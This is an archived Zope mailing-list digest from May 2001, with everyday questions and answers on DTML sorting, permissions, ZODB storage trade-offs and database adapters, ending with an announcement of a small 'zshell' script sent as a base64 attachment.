maxm@normik.dk ----------------------------------------------------- Shipping software is an unnatural act From hofmann@isl.org Thu May 3 08:11:48 2001 From: hofmann@isl.org (Kai Hofmann) Date: Thu, 3 May 2001 09:11:48 +0200 Subject: [Zope] Sorting mod.time with dtml-in? Message-ID: <3AF12072.29158.3068FAC8@localhost> I thought that I could simply sort by modification time withe the followi= ng: but as it seems I am to stupid to understand Zope/Python, because this does not work :( Any hints? Thanks Kai --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From kedai@kedai.com.my Thu May 3 08:20:15 2001 From: kedai@kedai.com.my (bak (kedai)) Date: Thu, 3 May 2001 15:20:15 +0800 Subject: [Zope] Sorting mod.time with dtml-in? In-Reply-To: <3AF12072.29158.3068FAC8@localhost> References: <3AF12072.29158.3068FAC8@localhost> Message-ID: <01050315201500.01878@tokey> On Thursday 03 May 2001 15:11, Kai Hofmann wrote: > I thought that I could simply sort by modification time withe the > following: > > > > but as it seems I am to stupid to understand Zope/Python, because > this does not work :( > Any hints? > shouldn't it be ? hth > Thanks > > Kai From alet@unice.fr Thu May 3 08:29:09 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 3 May 2001 09:29:09 +0200 (MET DST) Subject: [Zope] how to know if an object is an objectmanager Message-ID: Hi, I'm writing something generic in a python script which has to test if an object is an objectmanager or not, since I want it to work with Folders but also with user defined types which inherit from objectmanager. How can I do that ? thanks. Jerome Alet - alet@unice.fr - http://cortex.unice.fr/~jerome Fac de Medecine de Nice http://wwwmed.unice.fr Tel: (+33) 4 93 37 76 30 Fax: (+33) 4 93 53 15 15 28 Avenue de Valombrose - 06107 NICE Cedex 2 - FRANCE From hofmann@isl.org Thu May 3 08:34:08 2001 From: hofmann@isl.org (Kai Hofmann) Date: Thu, 3 May 2001 09:34:08 +0200 Subject: [Zope] Sorting mod.time with dtml-in? In-Reply-To: <01050315201500.01878@tokey> References: <3AF12072.29158.3068FAC8@localhost> Message-ID: <3AF1256F.14141.307C75CB@localhost> > > > > > > but as it seems I am to stupid to understand Zope/Python, because > > this does not work :( > > Any hints? > > >=20 > shouldn't it be > Thanks that works :))) Another question - how to reverse (descent) the sort order??? Thanks again Kai --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From bill@libc.org Thu May 3 08:36:37 2001 From: bill@libc.org (Bill Anderson) Date: 03 May 2001 01:36:37 -0600 Subject: [Zope] Announce - Audio Product In-Reply-To: Message-ID: On 02 May 2001 23:13:01 -0400, marc lindahl wrote: > This is a very necessary discussion, methinks... there's been bits of > threads, but I don't think enough. > > > From: Bill Anderson > > > > o Some people are still (dare i say many?) running on a system that has > > a 2Gb limit on filesize. > > OK, they can try this: > http://www.zope.org/Members/hathawsh/PartitionedFileStorage > > > > > o A large ZODB _can_ cause problems when you need it back it up, or > > restore it > > how, more than a large bunch of files in a directory tree? Either way, > typical backup software splits for CD burning, multiple tapes, etc. Which is worse: A corrupted Data.fs, or a corrupted .mp3 file? If you get a corruption in the backup process (Yes, it ODES happen), or the restore, which would you rather have? > > > > > o Consider the problems involved with a large ZODB when starting up and > > shutting down > > I have an N-Class HPUX beastie that has a 362+MB ZODb, it refuses to > > pack, and takes a while to start up. > > What do you mean, it refuses to pack? It gives an error or something? No error, and no pack. I haven't had a lot of time to go into it ... > > Memory is not an issue, believe me, I have several gigs of that > > untouched yet. yet it still takes an unacceptable > > amountof time to strart up. > > Several gigs of RAM? Cool! Maybe someone from DC can detail what goes on > at startup that might take alot of time. Well, indexing the db is a starting point, I believe. > > I guess, this is important for a desktop machine, that you turn on every day > -- for a server that's always on, no big deal, right? Wrong. Would you like to fsck that 20 GB filesystem each time you started up? It is also common for the developer/admin to have a duplicate install of their production site to test out new code on. these servers tend to be restarted frequently. And yes, on a desktop machine, it would indeed get nightmarish. > > > o Consider the problem of someone uploading a diferent (perhaps improved > > mp3) file. Now, until you pack past this change, > > you have _two_ copies of the data. Actually, I believe that even if > > only some metadata is changed, you get another copy. > > This. Gets. Ugly. Fast. > > Actually, this could be a good thing. What if the 'improved' version is > broken somehow? Or the meta data was in error? 'Undo'! > > Also, importantly, version control! you can version control the metadata. > > If you're talking about a site like MP3.COM where you have lots of people > uploading their own stuff, then you might have a problem with packing, with > mp3's, images, other stuff. What to do about it? A couple of ideas come to > mind: pack often, like every day, or use the packless database and forgo > the feature, or ...? pack every day, and you may as well forget about an undo from yesterday. > I'm aiming at uploading of audio as something with a little more control > (like a review process), so having 1000 versions of the same file unpacked > isn't an issue, and the versioning is important. Like I said, you can make it so the metadata is version-controllable. 1000 copies at 2MB=2GB ... for ONE lousy MP3? While _you_ may be fine with that, most people ar enot. Still, it is your choice. Multiply that by, say a hundred mp3s ... > > > > o Consider the ZSP that would much rather have the data stored in the FS > > where they can keep better track of it (and > > use quotas perhaps) > > If they're in linux, they could quota the data.fs, no difference there... I Except that you are then you are using quota on the _entire_ Data.fs. With an ExtFile you can have a seperate mountpoint that has a separate quota control. say I only want up to X Gb of mp3 files, but would also like up toX Gb of other objects, such as ExtImage objects. by limiting the data.fs, you can't do that very well. Additionally, maybe I don't want 1.5-2.5 Gb of a single song stored. ;^)~ > don't know that they should be monitoring your files in either case, should > they? For filesize, to determine how much space is bein used, why not? What they *should* be doing is not at issue her eanyway. > > o Consider the possibility of having the file sitting on the OS's file > > system, available for outbound-ftp through > > non-zope means, or local system use (for. those who would use it on > > their local machine as an MP3 organizer) > > or for an audio-streamer program, such as icecast or shoutcast, to > > stream them out > > These are the important use cases I see for external storage. Though, as > far as icecast goes, someone should beat that code into a Product, it would > be great to have streaming built in to zope! If it could do it reliably and speedily, yes, it would be awesome. Anyway, I was just kicking out some real-world reasons whyan ExtMP# type file would be (more) useful. Feel free to disagree, just understand that there are many of us out here here who have very valid reasons for not storing file objects that average over 1MB in the ZODb, especially when we are talking about potentially thousands, as you indicated. I've gone through all these issues in developing a Zope Advertising Product. Bill From bill@libc.org Thu May 3 08:39:26 2001 From: bill@libc.org (Bill Anderson) Date: 03 May 2001 01:39:26 -0600 Subject: [Zope] Announce - Audio Product In-Reply-To: Message-ID: On 02 May 2001 21:53:21 -0400, marc lindahl wrote: > I don't see how a smaller ZODB is a happier ZODB.... ? > Keeping them in ZODB makes your site alot easier to back up! I back up the entire Zope tree, no difference in ease. A difference in reliability, yes. > And, they take up basically the same amount of disk space on the FS or in Actually, from where I sit, it _appears_ they take up _more_ space in the ZODB, bu tthat could just be appearances. > the ZODB. If you use BTreeFolders, you could store 1000's of them in one > folder (if that makes sense for you)... depending on your file system, that > might be a problem on the FS. Right, but it can be a problem for the ZODB as well, regardless of BTreeFolder. Bill From mail@peterbe.com Thu May 3 08:25:39 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Thu, 3 May 2001 09:25:39 +0200 Subject: [Zope] rename objects permission References: <02e401c0d311$46f092d0$1c64a8c0@PBN> <3AF029AA.F495625B@kaivo.com> <035101c0d31e$b5709db0$1c64a8c0@PBN> <3AF031E4.9FA41F94@kaivo.com> Message-ID: <040601c0d3a5$7e80f8e0$1c64a8c0@PBN> Ok. New question! This is very strange. I create a user called "monkey" in a folder called "icons". The "monkey" user has the "foodexpert" role. These permissions are ticked for the foodexpert role: - Access contents information - Add Documents, Images, and Files - Change Images and Files - Delete objects - Manage properties - View - View management screens All I want the monkey to be able to do is to add/edit (name and properties)/remove Image objects in a folder called "icons". The monkey fills in a form to upload an Image (a copy of the manage_addImage form almost). When submitting this DTML code is called: Simple, isn't it? But it does NOT work! "You are not authorized to access manage_addImage. " Fuck! the monkey things. Goes /manage and can select Add Image from the drop down list and can add Images with no problem. However, I want the monkey to be able to do these simple things using MY management interface. Is this a bug? Peter ----- Original Message ----- From: "Casey Duncan" To: "Peter Bengtsson" Cc: Sent: Wednesday, May 02, 2001 6:12 PM Subject: Re: [Zope] rename objects permission > Peter Bengtsson wrote: > > > > > > > > I believe it would be "Manage Properties" although I could be wrong. > > > > Nops! Tried that. > > > > After reading the all knowing source and experimenting here are the > permissions you need: > > Access contents information > View > View Management Screens > Delete Objects > Add (Insert Object Type here) > > The last permission controls what types of objects can be renamed. There > is no way to restrict access to the rename form, however, simply having > View Management screens gives you that. > > -- > | Casey Duncan > | Kaivo, Inc. > | cduncan@kaivo.com > `------------------> From fritz.mesedilla@summitmedia.com.ph Thu May 3 08:52:51 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 3 May 2001 15:52:51 +0800 Subject: [Zope] TypeError In-Reply-To: <3AF005A9.B400F8E5@vt.edu> Message-ID: Hey Jim! Thanks so much for the information. You are right we are currently using Zope 2.3.1. I will upgrade the version as soon as possible. Again, you are very helpful. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: jwashin [mailto:jwashin]On Behalf Of Jim Washington Sent: Wednesday, May 02, 2001 9:04 PM To: fritz.mesedilla@summitmedia.com.ph Cc: zope@zope.org Subject: Re: [Zope] TypeError Fritz Mesedilla wrote: > > this has never happened before... i don't think it's a product that we have > used because i tried installing it to other servers and it works... this > only happens on one of our servers... > > i currently have zeo and zope on the error server... > > this is what comes out... > > Error Type: TypeError > Error Value: unsliceable object Hi, Fritz What version of Zope is that server using? There was a bug in Zope 2.3.1 that made createInObjectManager() fail with that error when called from a ZClass. 2.3.2 does not have that problem. Search http://zope.nipltd.com/public/lists/zope-archive.nsf/ for "unsliceable" if you wish to patch rather than upgrade. -- Jim Washington From kedai@kedai.com.my Thu May 3 08:58:16 2001 From: kedai@kedai.com.my (bak (kedai)) Date: Thu, 3 May 2001 15:58:16 +0800 Subject: [Zope] Sorting mod.time with dtml-in? In-Reply-To: <3AF1256F.14141.307C75CB@localhost> References: <3AF12072.29158.3068FAC8@localhost> <3AF1256F.14141.307C75CB@localhost> Message-ID: <01050315581601.01878@tokey> On Thursday 03 May 2001 15:34, Kai Hofmann wrote: > > > > > > > > > but as it seems I am to stupid to understand Zope/Python, because > > > this does not work :( > > > Any hints? > > > > shouldn't it be > > > > Thanks that works :))) > Another question - how to reverse (descent) the sort order??? > > Thanks again > > Kai chuck in reverse From Oleg Broytmann Thu May 3 09:04:52 2001 From: Oleg Broytmann (Oleg Broytmann) Date: Thu, 3 May 2001 12:04:52 +0400 (MSD) Subject: [Zope] Virtual HostMonster article In-Reply-To: <036701c0d393$886138a0$c3090740@megapathdsl.net> Message-ID: On Thu, 3 May 2001, Jason Cunliffe wrote: > http://twsite.bizland.com/twzop0015.htm The page appeared completely empty to me (but I use "links" browser - no images, no JavaScript). Oleg. ---- Oleg Broytmann http://www.zope.org/Members/phd/ phd@phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From Francois-regis.Chalaoux@sanofi-synthelabo.com Thu May 3 09:02:17 2001 From: Francois-regis.Chalaoux@sanofi-synthelabo.com (Francois-regis Chalaoux) Date: Thu, 3 May 2001 10:02:17 +0200 Subject: [Zope] Webdav - Microsoft Word - Zope Message-ID: <"010503080850Z.WT07150. 1*/PN=Francois-regis.Chalaoux/O=RESEARCH/PRMD=SANOFI/ADMD=ATLAS/C=FR/"@MHS> Firstly, I created a html document in Word with "save as HTML" in ZODB th= en I closed Word. Secondly, I opened the Zope html document in Word but this one was in "R= EAD ONLY" !!! FR Francois-regis Chalaoux wrote: >=20 > Francois-regis Chalaoux > 30/04/2001 18:45 > Pour : cduncan@kaivo.com%internet@WTFR > zope@zope.org > cc : >=20 > Objet : R=E9f. : Re: Re'f. : Re: [Zope] Webdav - Microsoft Word - Zope >=20 > I'd tested the manipulations with users today and We can't write html f= iles that we put inside Zope via webfolder when we edit them in Word. It'= s working with '.doc' !! > What's the difference between this two type of files? >=20 Is this using the "Save as HTML" option in Word? --=20 | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists -=20 http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From chrisw@nipltd.com Thu May 3 09:26:28 2001 From: chrisw@nipltd.com (Chris Withers) Date: Thu, 03 May 2001 09:26:28 +0100 Subject: [Zope] Anounce: Zope Geeks dot Org References: Message-ID: <3AF11634.4C3885B6@nipltd.com> Tane Piper wrote: > > ZGeeklog is the Zope port of Geeklog, a PHP based weblog and portal system. > (I wanted to call it Zopelog, but that was taken!) You could always help out on Squishdot... > > ZBB is a Bulletin Board system, similar to Ultimate Bulletin Board, PHPBB > and other similar systems. See ZUBB ;-) cheers, Chris From tane@zzict.nl Thu May 3 09:36:29 2001 From: tane@zzict.nl (Tane Piper) Date: Thu, 3 May 2001 10:36:29 +0200 Subject: [Zope] Anounce: Zope Geeks dot Org References: <3AF11634.4C3885B6@nipltd.com> Message-ID: <00ed01c0d3ac$2c987b00$0500a8c0@zzict.nl> > You could always help out on Squishdot... NEVER liked Slashdot (maybe the perl put me off), but I have been pretty close to the Geeklog project (infact I am project leader now on the sourceforge page), so its only logical that I attempt to port it over. > > ZBB is a Bulletin Board system, similar to Ultimate Bulletin Board, PHPBB > > and other similar systems. > > See ZUBB ;-) > ZUBB is nice, but I much prefer the layout of UBB. I've used UBB, and the PHPBB for a couple of years now, so I am pretty familiar with the workings. I suppose I just like my own way of doing things, and it's nice to give the zope users much more choice, ain't it ;) Both are still in the planning stage anyway. I'll have the proposal/roadmap documents up sometime in the next couple of weeks once I have finished the Zope site we are doing for our companies game. Tane Piper Lead Designer - ZZICT Entertainment http://www.zzict.nl From marcbpc@gmx.de Thu May 3 09:48:24 2001 From: marcbpc@gmx.de (Marc Fischer) Date: Thu, 3 May 2001 10:48:24 +0200 Subject: AW: AW: [Zope] Source from form result. In-Reply-To: <006101c0d356$459b55b0$38a3f1ce@mitretek.org> Message-ID: > [Marc Fischer] > > > Ok, I will try to explain. ... Somewhere in the Web, there is a Website, > out > > of the world of zope:-), that provides a form with a submit button. this > > form passes some arguments with the syntax: > > ... > > > > If you klick on submit button, you get displayed some pictures. > so far so > > good ... > > > > I want to create a zope application, that automatically gets > the source of > > this result page, extracts the urls of the picutres and finally uploads > > these pictures into my zopeserver. > > [Tom] > You mean, you have a web page hosted in Zope, you click a button or > something on it, and the pictures end up in Zope with no more > human actions? NO, it is an external webpage!(NO ZOPE, not mine) There is a form with a submit button. If I submit, I get the result page. On this page are included pictures. I want the source code of this page, in order to extract the included picture urls, and automatically upload those pics in my ZOPE Server! > [Marc] > > > > The problem is, that it is not possible to pass the variables in the url > > like this: > > http://server/index.html?x=y. > > > > > [Tom] > I don't know what you mean here, why can't you include the > variables in the > url? Where would you like to include the variables but find it can't be > done? I don't know why. But the php script (on the external server) which is call by
[Marc] > > So I am looking for a way of being able to handle the source > code of this > > result. Extraction of the urls is not a problem. > > > [Tom] > Do you want to do this for a single site that always sends the > same html, or > a range of sites that are similar but not identical? Just one single site! > I would think about using an External Method. That would let you use the > Python httplib library. With httplib , you could get the form by > issuing an > HTTP GET command on the remote server. Then you could use the > form to build > the right url (including the "?x=y") will not work ;-( >, and then issue another GET on that > url. This would get you the html for the page - that is the > source you asked > for - from which you could extract all the image urls. This wouldn't work > if the form runs some javascript to set its variables, though, since your > Python program wouldn't be able to figure out what the javascript > was doing. > > Alternatively, if the form you want has a name assigned to the > form element > (or even if you knew its position among all the forms on the page), you > could create a browser window with two frames and load the form > into one of > them. From the other one, using Javascript, you could cause the form to > load the page that has the pictures. Then, again with > javascript, you could > walk through its images array and get all the urls. Then you could load > these urls into form variables and, using javascript, send the > form with the > pictures' urls to Zope. From there, it ought to be possible to > get Zope to > upload the pictures. that would be a possibility, if I dont have success in the more automatically way :-) > If you were clever with the design, you could get your page to do > this on a > list of sites, or on a list of picture selections. > > I think this would be feasible using either Netscape or Internet Explorer, > but certainly with IE. > > We're talking about a lot of work experimenting and developing, though, if > you don't know these techniques already. How many images do you want to > capture? Maybe it would be faster to do them by hand, one at a time. > Zope maillist - Zope@zope.org We are talking about nearly 20 pictures, that change a few times a day. My script should be called a few times a day, too. New Pictures should automatically be inserted in my ZOPE. Marc From reinoud@xs4all.nl Thu May 3 09:54:17 2001 From: reinoud@xs4all.nl (Reinoud van Leeuwen) Date: Thu, 3 May 2001 10:54:17 +0200 (CEST) Subject: [Zope] talking to Sybase from FreeBSD 4.2 Message-ID: <200105030854.KAA12395@webmail1.xs4all.nl> Hello world, being fairly new (but already enthousiastic:-) on Zope, I am trying to get my Zope 2.3.1 (on Python 2.0) talking to a Sybase (11.0.3.3) database, from a FreeBSD 4.2-STABLE box. (Zope 2.3.1 on Py 2.0 is what the current port makes of it) (My Zope is running inside a FreeBSD jail, but I do not think this is relevant to my problem). I have looked on recent information about Sybase and Zope, but everything seems to be about two years old :-(. The instructions from The_Jester do not work (I think the diff files are too old) When I try to build the Sybase DA (SybaseDA-2_0b2) from the instructions in the README, it stops somewhere by complaining that /usr/local/lib/python2.0/config/Setup.thread is not found (and indeed this file was in python 1.5 but not in 2.0)... Has anyone recently gotten this to work? (either with native Sybase libraries or FreeTDS libraries) Or should I try to use SQL relay? TIA, Reinoud From patrick@eahd.or.ug Thu May 3 10:22:38 2001 From: patrick@eahd.or.ug (Patrick) Date: Thu, 3 May 2001 12:22:38 +0300 (EAT) Subject: [Zope] restricting public access (fwd) Message-ID: OOppss... forgot to copy to the list... Patrick. ---------- Forwarded message ---------- Date: Thu, 3 May 2001 12:16:13 +0300 (EAT) From: Patrick To: Rudi Wurm Subject: Re: Re: [Zope] restricting public access Ooops, that "inherit permissions" was a serious typho;:( The real tab is "aquire permissions" and no, it does not mean that the permissions of the object are used..... it means that this object should AQUIRE or INHERIT permissions from its parent folders... just some zopeish terminology: [which u can see induced me to make the typho].. =09So what you need to do is uncheck ALL the aquire permissions settings apart from the ones that you do not mind being public... THEN you MUST make sure that you explicitly define ALL the permissions for the different roles because it will not inherit - make that aquire - any from any of the containers higher up in the heirachy... Sorry for the typho, Hope this helps THIS Time. Patrick. On Thu, 3 May 2001, Rudi Wurm wrote: > that sounds ok. but where is this damn tab ? I only have a "aquire permis= sion settings" checkbox for each permission in the security-tab of a folder= , which, as long as i know, means, that permission settings for this object= are used at all. Do i need a new version of Zope to have this tab? The ver= sion i use is about a month old. > If i could find that tab, it should solve my prob, because i really have = to put the general permission to view and access all object, defined in the= root folder, out of effect for that particular private folder. > > thanks at all ! > > Torsten K=FChnel > > schrieb am 02.05.01: > > I **think** that you did not uncheck the "inherit permissions" tab whic= h > > makes any folder or object for that matter aquire the permissions of it= 's > > parent folder. You need to do this if you have a folder which you want = to > > declare private but is contained in a folder that was declared public. > > Hope this helps, > > Patrick. > > > > On Wed, 2 May 2001, Rudi Wurm wrote: > > > > > i would like to restrict the public access of a Zope site to only a f= ew folders. what is the easiest way to do this ? > > > i unchecked the view-permission in the root-folder for the anonymous = role, to make this setting work in the appropriate folders. i then had to g= rant this permission on any item in my root-folder which is accessed by the= public, but my folder with all items below are autmatically still visible,= although the permission in this folder is not set. > > > what did i wrong ? > > > > > > TorstenK > > > _____________________________________________________________________= _________ > > > Die Fachpresse ist sich einig: WEB.DE 20mal Testsieger! Kostenlos E-M= ail, > > > Fax, SMS, Verschl=FCsselung, POP3, WAP....testen Sie uns! http://free= mail.web.de > > > > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > _________________________________________________________________________= _____ > Die Fachpresse ist sich einig: WEB.DE 20mal Testsieger! Kostenlos E-Mail, > Fax, SMS, Verschlusselung, POP3, WAP....testen Sie uns! http://freemail.w= eb.de > > From tim@freepm.org Thu May 3 10:23:47 2001 From: tim@freepm.org (Tim Cook) Date: Thu, 03 May 2001 04:23:47 -0500 Subject: [Zope] Out of the Box = ZopeApplianceWorld References: <02b701c0d37c$3e6e5f00$c3090740@megapathdsl.net> Message-ID: <3AF123A3.D65ACE16@iswt.com> Jason Cunliffe wrote: > > Hello > > I am very interesting in gathering info on Web Appliances, and any network > savvy devices which could play well with Zope. > > TTW, openSource, etc. Discussing ideas will also bring out where Zope is > lacking or ill-suited. > > ..interested? > Yep. -- Tim Cook, President - FreePM,Inc. http://www.FreePM.com Office: (731) 884-4126 ONLINE DEMO: http://www.freepm.org:8080/FreePM From hofmann@isl.org Thu May 3 10:27:04 2001 From: hofmann@isl.org (Kai Hofmann) Date: Thu, 3 May 2001 11:27:04 +0200 Subject: [Zope] Complex dtml-in/ZopeFind ? Message-ID: <3AF14010.14420.30DFA255@localhost> Hi, I have the following code now: bla

the problem here is that the sequence-start/end will always be executed -= for=20 the case that there is an object outside of the start/end date window! So I have to move the if (startdate <=3D _.DateTime()) & (_.DateTime() <=3D= =20 enddate) condition into the dtml-in .... Or replace thedtml-in with ZopeFind or something else .... Is it possible to but everything I need into a dtml-in or a ZopeFind? As it looks to me - I can not add the if condition to the dtml-in - on th= e other=20 hand I don't see how to sort the result of an ZopeFind ... But hopefully I am still a little blind and someone can help - Thanks Kai =20 --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From maxm@normik.dk Thu May 3 10:39:39 2001 From: maxm@normik.dk (=?iso-8859-1?Q?Max_M=F8ller_Rasmussen?=) Date: Thu, 3 May 2001 11:39:39 +0200 Subject: [Zope] Can my Catalog problem problem be caused by the VirtualHostMonste r Message-ID: <7BD10B680501D411B9DF009027E06F32197CE2@exchange> All my content got indexed before I installed the VirtualHostMonster and now the url in the search result doesn't seem right, and I cannot use the "Update Catalog" as it gives me an error message. Some searches gives me strange results too. Regards Max M From andreasp@qbcon.com Thu May 3 11:10:49 2001 From: andreasp@qbcon.com (Andreas Pauley) Date: Thu, 03 May 2001 12:10:49 +0200 Subject: [Zope] Displaying the current date Message-ID: <3AF12EA9.B98B3BCF@qbcon.com> Hi, How do I display the current server-side date with DTML? Thanks, Andreas. -- ... Any resemblance between the above views and those of my employer, my terminal, or the view out my window are purely coincidental. Any resemblance between the above and my own views is non-deterministic. The question of the existence of views in the absence of anyone to hold them is left as an exercise for the reader. The question of the existence of the reader is left as an exercise for the second god coefficient. (A discussion of non-orthogonal, non-integral polytheism is beyond the scope of this article.) From alet@unice.fr Thu May 3 11:05:44 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 3 May 2001 12:05:44 +0200 (MET DST) Subject: [Zope] [ANN] zshell: The Zope Shell Message-ID: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --889292347-2026565306-988884344=:31564 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi there, I'm pleased to announce you the Zope Shell version 0.001. The Zope shell is a GPLed Python Script which makes some of the most commonly used unix shell commands available from within Zope, to manage the ZODB contents. You'll find this 155 lines script attached to this message. As for the 0.001 version which is attached to this message, the following commands are recognized: cd, cp, mv, rm, ls there are some restrictions however, and it doesn't seem to work with absolute paths, read the source for details and the future commands. zshell accepts an unlimited number of commands to launch in a single Zope transaction, so feel free to combine these five commands to do some very complicated stuff. Despite its current limitations it works fine here on Zope 2.3.2+Hotfix0501. Please feel free to send me any comment about this software. Such similar functionnality included in Zope's core would make me VERY happy. hoping this helps. Jerome Alet - alet@unice.fr --889292347-2026565306-988884344=:31564 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="zshell.py" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: IyMgU2NyaXB0IChQeXRob24pICJ6c2hlbGwiDQojI2JpbmQgY29udGFpbmVy PWNvbnRhaW5lcg0KIyNiaW5kIGNvbnRleHQ9Y29udGV4dA0KIyNiaW5kIG5h bWVzcGFjZT0NCiMjYmluZCBzY3JpcHQ9c2NyaXB0DQojI2JpbmQgc3VicGF0 aD10cmF2ZXJzZV9zdWJwYXRoDQojI3BhcmFtZXRlcnM9DQojI3RpdGxlPVRo ZSBab3BlIFNoZWxsDQojIw0KIyB6c2hlbGwgLSAoYykgMjAwMSBKZXJvbWUg QWxldA0KIw0KIyBZb3UncmUgd2VsY29tZSB0byByZWRpc3RyaWJ1dGUgdGhp cyBzb2Z0d2FyZSB1bmRlciB0aGUNCiMgdGVybXMgb2YgdGhlIEdOVSBHZW5l cmFsIFB1YmxpYyBMaWNlbmNlIHZlcnNpb24gMi4wDQojIG9yLCBhdCB5b3Vy IG9wdGlvbiwgYW55IGhpZ2hlciB2ZXJzaW9uLg0KIw0KIyBZb3UgY2FuIHJl YWQgdGhlIGNvbXBsZXRlIEdOVSBHUEwgaW4gdGhlIGZpbGUgQ09QWUlORw0K IyB3aGljaCBzaG91bGQgY29tZSBhbG9uZyB3aXRoIHRoaXMgc29mdHdhcmUs IG9yIHZpc2l0DQojIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24ncyBX RUIgc2l0ZSBodHRwOi8vd3d3LmZzZi5vcmcNCiMNCiMgYXV0aG9yOiBKZXJv bWUgQWxldCAtIDxhbGV0QHVuaWNlLmZyPg0KIw0KIw0KIyBUaGlzIGlzIHRo ZSBab3BlIHNoZWxsLCBhbiBhdHRlbXB0IGF0IG1ha2luZyB0aGUgbW9zdCBj b21tb24NCiMgVW5peCBzaGVsbCBjb21tYW5kcyBhdmFpbGFibGUgZnJvbSB3 aXRoaW4gWm9wZS4NCiMNCiMgQXMgb2YgTWF5IDNyZCAyMDAxLCB2ZXJzaW9u IDAuMDAxLCB0aGUgZm9sbG93aW5nIGNvbW1hbmRzDQojIGFyZSByZWNvZ25p emVkOg0KIw0KIwljZCwgcm0sIG12LCBjcCwgbHMNCiMNCiMgKiBjZCBhY2Nl cHRzIGEgc2luZ2xlIHBhdGggYXMgYW4gYXJndW1lbnQNCiMgKiBybSBhY2Nl cHRzIG1hbnkgcGF0aCBhcmd1bWVudHMNCiMgKiBtdiBhbmQgY3AgbGFzdCBh cmd1bWVudCBpcyB0aGUgZGVzdGluYXRpb24gZm9sZGVyLCBldmVyeSBwcmV2 aW91cw0KIyAgIGFyZ3VtZW50IGlzIGFuIG9iamVjdCBpZCBpbiB0aGUgY3Vy cmVudCBmb2xkZXINCiMgKiBscyBhY2NlcHRzIG1hbnkgbWV0YSB0eXBlcyBh cyBpdHMgYXJndW1lbnRzDQojDQojIFRoZSBmdXR1cmU6DQojDQojIGluIHRo ZSBmdXR1cmUgSSdkIGJlIGludGVyZXN0ZWQgaW4gYWRkaW5nIG1vcmUgZnVu Y3Rpb25uYWxpdGllcw0KIyBhcyB3ZWxsIGFzIG1ha2luZyBpdCBhIGNvbXBs ZXRlIFpvcGUgcHJvZHVjdCwgc3BsaXR0aW5nIGl0DQojIGluIG9uZSBtZXRo b2QgcGVyIGNvbW1hbmQsIGFuZCBtYWtpbmcgdGhlIGFjY2VwdGVkIHN5bnRh eCBtdWNoIG1vcmUNCiMgbWF0Y2ggVW5peCBzaGVsbCdzIG9uZS4NCiMgYWRk aW5nIHN1cHBvcnQgZm9yIGEgZmluZCBjb21tYW5kIGlzIGFsc28gaGlnaCBv biBteSBwcmlvcml0eSBsaXN0DQojDQojIEZlZWwgZnJlZSB0byBzZW5kIG1l IGFueSBmZWVkYmFjayBhYm91dCB0aGlzIHNvZnR3YXJlIGF0OiBhbGV0QHVu aWNlLmZyDQojDQoNCmltcG9ydCBzdHJpbmcNCg0KZGVmIHRvT2JqZWN0KGN1 cmRpciwgcGF0aCkgOg0KCWltcG9ydCBzdHJpbmcNCglwYXRoID0gc3RyaW5n LnN0cmlwKHBhdGgpDQoJaWYgcGF0aFswXSA9PSAnLycgOg0KCQlwYXRoID0g cGF0aFsxOl0NCgkJd2hpbGUgaGFzYXR0cihjdXJkaXIsICdhcV9wYXJlbnQn KSBhbmQgKGN1cmRpci5hcV9wYXJlbnQgaXMgbm90IE5vbmUpOg0KCQkJY3Vy ZGlyID0gY3VyZGlyLmFxX3BhcmVudA0KDQoJY29tcG9uZW50cyA9IGZpbHRl cihOb25lLCBzdHJpbmcuc3BsaXQocGF0aCwgJy8nKSkNCglmb3IgY29tcG9u ZW50IGluIGNvbXBvbmVudHMgOg0KCQlpZiBjb21wb25lbnQgPT0gJy4nIDoN CgkJCWNvbnRpbnVlDQoJCWVsaWYgY29tcG9uZW50ID09ICcuLicgOg0KCQkJ aWYgaGFzYXR0cihjdXJkaXIsICdhcV9wYXJlbnQnKSBhbmQgKGN1cmRpci5h cV9wYXJlbnQgaXMgbm90IE5vbmUpOg0KCQkJCWN1cmRpciA9IGN1cmRpci5h cV9wYXJlbnQNCgkJZWxpZiBoYXNhdHRyKGN1cmRpciwgY29tcG9uZW50KSA6 DQoJCQljdXJkaXIgPSBjdXJkaXJbY29tcG9uZW50XQ0KCQllbHNlIDoNCgkJ 